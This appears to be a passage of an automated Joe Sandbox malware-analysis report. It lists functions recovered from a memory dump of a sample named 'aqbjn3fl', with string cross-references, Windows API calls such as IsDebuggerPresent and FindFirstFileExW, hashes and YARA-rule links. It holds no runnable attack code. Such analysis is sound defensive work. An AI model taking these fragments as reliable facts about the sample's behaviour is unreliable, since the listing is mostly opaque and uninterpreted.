Opcode ID: 4571e30a7c4d7844c5ddf9adff8cc5ca0963d910b6c1b576e5a54b6ba0845311
Instruction ID: fb72cee66e1dcf7fd133837de994547b0f965ede9c53ee0e7cfcdb0599dac603
Opcode Fuzzy Hash: 4571e30a7c4d7844c5ddf9adff8cc5ca0963d910b6c1b576e5a54b6ba0845311
Instruction Fuzzy Hash: 9C7142362192808B4D2CCA2C5BE50BD628BAFE6370B75891FE9138FBF4DB755C419943

Function 009CD4C0 Relevance: 8.1, Strings: 6, Instructions: 552COMMON

Download Yara Rule

Strings

.'K`, xrefs: 009CD5A7
-'K`, xrefs: 009CD55B
$\Z, xrefs: 009CD5D1
.'K`, xrefs: 009CDB06
$\Z, xrefs: 009CDC83
.'K`, xrefs: 009CD654

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: -'K`$.'K`$.'K`$.'K`$$\Z$$\Z
API String ID: 0-1124325746
Opcode ID: 137547043eb9930ea56bc72ec989a0a79fe2ac8c5542fd762bf6e39033250e63
Instruction ID: 361eaee64c63f6e55fb4eb8c49e3b9a33d336d85369fd831d0595f595c2e4383
Opcode Fuzzy Hash: 137547043eb9930ea56bc72ec989a0a79fe2ac8c5542fd762bf6e39033250e63
Instruction Fuzzy Hash: 39126136E071508F4F148A2C54D4FBDB7E59B49360B264A3EED12EB3A4C625CD85C783

Function 009C3460 Relevance: 6.9, Strings: 5, Instructions: 687COMMON

Download Yara Rule

Strings

?B;, xrefs: 009C34D2
@B;, xrefs: 009C3BE6
@B;, xrefs: 009C34E8
@B;, xrefs: 009C3CF7
@B;, xrefs: 009C3CE9

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: ?B;$@B;$@B;$@B;$@B;
API String ID: 0-1209347523
Opcode ID: 68fdc71810ba22db76c6b906683a61385573b3d83975495b6f66b03dded9a7ca
Instruction ID: 0d4963b22182c384b9252aa8d6d28a2b4073ffc42657fc198315e7603deace31
Opcode Fuzzy Hash: 68fdc71810ba22db76c6b906683a61385573b3d83975495b6f66b03dded9a7ca
Instruction Fuzzy Hash: E632F63AB256449F4A18CA2899C4A6DB3979BD9330734CE0AE426CF7F4C734DE469743

Function 009C3FA0 Relevance: 6.8, Strings: 5, Instructions: 572COMMON

Download Yara Rule

Strings

CyN, xrefs: 009C4148
CyN, xrefs: 009C413A
CyN, xrefs: 009C4033
CyN, xrefs: 009C44CE
CyN, xrefs: 009C44C0

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: CyN$CyN$CyN$CyN$CyN
API String ID: 0-4075027903
Opcode ID: 8d3f10b1a82328d1a427d2fd0130b68a157e6b5d9bb80a97adea8954ce0ee14e
Instruction ID: f7e01613f404f34949d486e073da64e1ae57c1be895260c1681c05976bd19074
Opcode Fuzzy Hash: 8d3f10b1a82328d1a427d2fd0130b68a157e6b5d9bb80a97adea8954ce0ee14e
Instruction Fuzzy Hash: 8C12463AF657404B4F28C62996F4B2D629687DA3303758E0DE922CF7E4C729CD469283

Function 009D7350 Relevance: 6.6, Strings: 5, Instructions: 310COMMON

Download Yara Rule

Strings

c~N, xrefs: 009D7602
c~N, xrefs: 009D73F6
c~N, xrefs: 009D760D
b~N, xrefs: 009D7410
c~N, xrefs: 009D7563

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: b~N$c~N$c~N$c~N$c~N
API String ID: 0-1905032987
Opcode ID: 83128ee5fd243e72ad680fcbe3800e5b208fb2dab6f87a6ca908a46a4b2f35f9
Instruction ID: e45124c21e6c4bd008c3d64d28841b2b86acb29ee29a3aa277a54d20f988bec1
Opcode Fuzzy Hash: 83128ee5fd243e72ad680fcbe3800e5b208fb2dab6f87a6ca908a46a4b2f35f9
Instruction Fuzzy Hash: D7A11B3629D6404B5F249BBCAAC412DF3969BE9320B64CE27ED15CB3E4FB34CD416642

Function 009BB964 Relevance: 6.5, Strings: 5, Instructions: 235COMMON

Download Yara Rule

Strings

PbQ, xrefs: 009BC1F9
"!-, xrefs: 009BB872
A\, xrefs: 009BB86D
"!-, xrefs: 009BB880
A\, xrefs: 009BB85B

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: A\$A\$PbQ$"!-$"!-
API String ID: 0-1954403065
Opcode ID: b9df5c15b6449fc2658fc68ad8c3ed520cda19cb7066f23c9a977680582d3953
Instruction ID: 62af6c85889d0568546e45bb3590ba1fe4817799ec7d83a5ff6bf3705e8fc5b4
Opcode Fuzzy Hash: b9df5c15b6449fc2658fc68ad8c3ed520cda19cb7066f23c9a977680582d3953
Instruction Fuzzy Hash: EE7142362196804B4E5CCA2C5BE40BD225B9FDA330B358A1FD5174FBF8DB765C415907

Function 009DF751 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009DF841

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: fb578a13bffeaa224a3b2a1246edbd304c4a9943cbc28b7dca189b1bb4d3c3a9
Instruction ID: 8d814a55b1b6a2a4f5ef46129e972ec65e96c02121d1437e62ae5742ed48f88d
Opcode Fuzzy Hash: fb578a13bffeaa224a3b2a1246edbd304c4a9943cbc28b7dca189b1bb4d3c3a9
Instruction Fuzzy Hash: 82711775D85158AFDF20AF34DCAABE9B7BCAB45300F1481EBE04A97311DA304E819F10

Function 009D96CF Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 009D96DB
IsDebuggerPresent.KERNEL32 ref: 009D97A7
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 009D97C7
UnhandledExceptionFilter.KERNEL32(?), ref: 009D97D1

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 2da1b5c4f3326eaa9f68f2d44afa8c9bb37887a509bca0ce1d825de834f57609
Instruction ID: 22ab1d47ff92fab3f0b9c34e0fa382323c14fe62e5be46876294be9bdd1a334d
Opcode Fuzzy Hash: 2da1b5c4f3326eaa9f68f2d44afa8c9bb37887a509bca0ce1d825de834f57609
Instruction Fuzzy Hash: DB3127B5D552189BDB10EFA4D9897CCBBB8FF08300F1081AAE54DAB350EB709A85CF05

Function 009D4CF0 Relevance: 4.8, APIs: 3, Instructions: 287COMMON

Download Yara Rule

APIs

___std_exception_destroy.LIBVCRUNTIME ref: 009D4D86

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ___std_exception_destroy
String ID:
API String ID: 4194217158-0
Opcode ID: 10fe521fc5a25e35681ae0caf00ce51a26b3cb983fc11f1c736ae9db9499419d
Instruction ID: 84a2f7c5e903b997b53c6837c5be72d1c62f4960b860e5ac7789ab34ff725a93
Opcode Fuzzy Hash: 10fe521fc5a25e35681ae0caf00ce51a26b3cb983fc11f1c736ae9db9499419d
Instruction Fuzzy Hash: ED911A3A2A86404F5D289F2899C412D73E79AB6331B64CE27E426CF3F9DA34DD45C741

Function 009DB7BA Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 009DB8B2
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 009DB8BC
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 009DB8C9

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 30733b4a812feb0ed735b985b906410fe8c16a0af8424323821d409deaaa549d
Instruction ID: 09ae3b2c2d8c7074359c4100cf31210e30bdc388658ce37136beec6c9a2f3180
Opcode Fuzzy Hash: 30733b4a812feb0ed735b985b906410fe8c16a0af8424323821d409deaaa549d
Instruction Fuzzy Hash: 7131C7749512189BCB21DF68DC897CDBBB8BF58310F5081DAE41DA7260E7709F819F45

Function 009D1387 Relevance: 4.2, Strings: 3, Instructions: 413COMMON

Download Yara Rule

Strings

dUb, xrefs: 009D174B
dUb, xrefs: 009D1CBB
dUb, xrefs: 009D1750

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: dUb$ dUb$ dUb
API String ID: 0-1696577624
Opcode ID: 8b2186901ba45038c0ba861e3e628ba597ccdf77c7dfeb2c9f4c4bc5f43c52f7
Instruction ID: 2c56e574542f6489ed116d4b9cf2e03d375b80df9b3e028b77b4aea913d09175
Opcode Fuzzy Hash: 8b2186901ba45038c0ba861e3e628ba597ccdf77c7dfeb2c9f4c4bc5f43c52f7
Instruction Fuzzy Hash: 8DD15D3FADC348AB5A38EA2856C407DB2C74BD9370F24C61BD8165FBE5E2278C459642

Function 009C4CE0 Relevance: 4.2, Strings: 3, Instructions: 404COMMON

Download Yara Rule

Strings

Mnj, xrefs: 009C4F6F
Mnj, xrefs: 009C51BB
Mnj, xrefs: 009C500B

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: Mnj$Mnj$Mnj
API String ID: 0-3324928681
Opcode ID: 36c55a763eca1b79df7f7bddfd616ba0b674d72895b2d10955bd3a14c1f43cc2
Instruction ID: f7b8c1845e2e3787b20207170ed05b9976f2da356fff60d21e3466a731912f9a
Opcode Fuzzy Hash: 36c55a763eca1b79df7f7bddfd616ba0b674d72895b2d10955bd3a14c1f43cc2
Instruction Fuzzy Hash: 4FD17D75B29604CF591CC628A8E8B2D32E7679931077A4E1EE427CF3F1DA18ED819643

Function 009C7F74 Relevance: 4.0, Strings: 3, Instructions: 243COMMON

Download Yara Rule

Strings

.Q_, xrefs: 009C8587
i.^, xrefs: 009C7DE0
j.^, xrefs: 009C7DEC

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: .Q_$i.^$j.^
API String ID: 0-3437208586
Opcode ID: 16e1395d7d06f983c0c23c0567392bad42f0e991d68edeeef6ad62cddded0608
Instruction ID: 127aa22657d8d9f853475bdb43be0796aa724b011f2120ce4c0533896d201a85
Opcode Fuzzy Hash: 16e1395d7d06f983c0c23c0567392bad42f0e991d68edeeef6ad62cddded0608
Instruction Fuzzy Hash: 3E816F35B191015B9B2CDA245CE8F3EF6CAAF95360B79491EE903CB7F0DA248D419743

Function 009BD07E Relevance: 4.0, Strings: 3, Instructions: 203COMMON

Download Yara Rule

Strings

F- , xrefs: 009BEE17
jiX, xrefs: 009BD096
XvIL, xrefs: 009BCDE8

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: F- $XvIL$jiX
API String ID: 0-1826392768
Opcode ID: d21887ee9950f5ed077554f6556626a4449c10a55d864b27738f69b6033759a4
Instruction ID: ca435df03d20270fc3ff2cbf7cac8ba4a1a604c5439edb5d1f0f523c04850b20
Opcode Fuzzy Hash: d21887ee9950f5ed077554f6556626a4449c10a55d864b27738f69b6033759a4
Instruction Fuzzy Hash: B861DFB47162068B9E2C8A289FE85FC7AD59FD5330B35492EF4174BBF0D224BC804782

Function 009C8149 Relevance: 2.7, Strings: 2, Instructions: 235COMMON

Download Yara Rule

Strings

i.^, xrefs: 009C7DE0
j.^, xrefs: 009C7DEC

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID:
String ID: i.^$j.^
API String ID: 0-1036069679
Opcode ID: 006259f5ae901008f143750434f108846a29558ca54331087a73ff6431ab8919
Instruction ID: 501c5fc137e7b9dce069bbd7d98b4001d068b4af028a7780251420b1e7fbcf09
Opcode Fuzzy Hash: 006259f5ae901008f143750434f108846a29558ca54331087a73ff6431ab8919
Instruction Fuzzy Hash: ED818A36A195015F8A1CCA285CE8E3EF6CEAF96360B784A1DE513CB6F0CF248D459343

Function 009E5E42 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,009E5D9D,?,?,00000008,?,?,009E596F,00000000), ref: 009E606F

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 0997436a5185699eabf93e839044a21e284fa206def2851eccf386721435f80d
Instruction ID: aaeeb841be2cb4d7228f5d123f7a9818429a1283f2f588aa02482aae0184156d
Opcode Fuzzy Hash: 0997436a5185699eabf93e839044a21e284fa206def2851eccf386721435f80d
Instruction Fuzzy Hash: D7B15E31510648DFD716CF29C48AB657BE0FF45369F258658E89ACF2A2C335ED82CB40

Function 009DF6A0 Relevance: 1.7, APIs: 1, Instructions: 199fileCOMMON

Download Yara Rule

APIs

Part of subcall function 009DEB5E: HeapAlloc.KERNEL32(00000008,?,00000000,?,009DCD48,00000001,00000364,00000000,00000002,000000FF,?,?,009DE441,009DDCA0), ref: 009DEB9F

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 009DF841
FindNextFileW.KERNEL32(00000000,?), ref: 009DF935
FindClose.KERNEL32(00000000), ref: 009DF974
FindClose.KERNEL32(00000000), ref: 009DF9A7

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: Find$CloseFile$AllocFirstHeapNext
String ID:
API String ID: 2701053895-0
Opcode ID: 58e90680fe9aad77b3670976b825afdb233dc134a47431afa6d5520b3f749168
Instruction ID: acfe54a85129f7b3c562fe407d5b40895ae9167c8e833d67a9b699ff44dcda3f
Opcode Fuzzy Hash: 58e90680fe9aad77b3670976b825afdb233dc134a47431afa6d5520b3f749168
Instruction Fuzzy Hash: 2C515875980108AFDB109F389CA6AFE77ADDF85314F54C1ABF45A97301EA308E429B20

Function 009D98F5 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 009D990B

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 8f96e1a643fb061db1fc65f07391a5940c916ab81a9382d4ceed2e42f4b5e0ed
Instruction ID: ad24398778b0cbddbe87d3d7c0af8367f052225be6a29eb1743aeba2304f15e1
Opcode Fuzzy Hash: 8f96e1a643fb061db1fc65f07391a5940c916ab81a9382d4ceed2e42f4b5e0ed
Instruction Fuzzy Hash: DC515DB2A152458BEB24CF59D8D57AAB7F8FB48314F28C42AD409EB3A4E374DD40DB50

Function 009D96C3 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000297F0,009D9145), ref: 009D96C8

Memory Dump Source

Source File: 00000000.00000002.1511460050.00000000009B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009B0000, based on PE: true

Associated: 00000000.00000002.1511440506.00000000009B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511494690.00000000009E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511510689.00000000009ED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511528794.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511549299.00000000009F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511570424.00000000009F3000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9b0000_aqbjn3fl.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 15a3974dedcf4e5c3ef49ebe5eccd2189e94e8f64c57c4d92583543cae0c8582
Instruction ID: 53849eedb3e793988e6e18071ba03d57e59076870e1347d8948a5e2db46319d9
Opcode Fuzzy Hash: 15a3974dedcf4e5c3ef49ebe5eccd2189e94e8f64c57c4d92583543cae0c8582
